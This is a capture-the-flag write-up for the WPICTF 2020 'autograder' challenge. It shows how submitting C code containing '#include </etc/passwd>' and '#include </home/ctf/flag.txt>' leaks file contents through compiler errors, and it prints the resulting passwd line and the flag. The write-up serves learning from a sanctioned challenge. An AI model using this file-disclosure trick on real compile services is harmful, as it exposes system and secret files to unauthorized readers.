Solving autograder from WPICTF CTF 2020

The autograder from WPICTF CTF 2020 challenge had below note:

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A prof made a little homework grader at https://autograder.wpictf.xyz/ 
but I heard he is hiding a flag at /home/ctf/flag.txt
made by: awg and rm -k

The challenge page allowed us to include C code which would than be sent to the server, compiled and return the results as shown below:

Immediate reaction to this was to read the /etc/passwd by submitting a code that would read it and see if it could work. After trying a multiple ways to achieve it nothing seemed to worked. All I could get was error such as below:

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Run stdout
None
stderr
None

Then, while searching for ways to solve this I remembered reading about a similar CTF challenge which would read file when the file was used in #include directive. So I thought of giving it a try. I simply included another directive to the already available program such as below and that gave us the first line of the /etc/passwd file in the error.

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#include </etc/passwd>

Response:

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Compiler stdout
None
stderr
In file included from /tmp/sarce/tmp31nm_f69/input.c:11:
/etc/passwd:1:5: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘:’ token
    1 | root:x:0:0::/root:/bin/bash
      |     ^

This looks like enough of file disclosure to read the flag. Now we could retrieve the flag by including it as follows.

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#include </home/ctf/flag.txt>

Response:

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Compiler stdout
None
stderr
In file included from /tmp/sarce/tmpzvurrumi/input.c:11:
/home/ctf/flag.txt:1:4: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘{’ token
    1 | WPI{D0nt_run_as_r00t}
      |    ^

Thanks WPICTF team from the challs. Thanks for stopping by. Feel free to contact me on twitter for any queries or feedback. Cheers!!!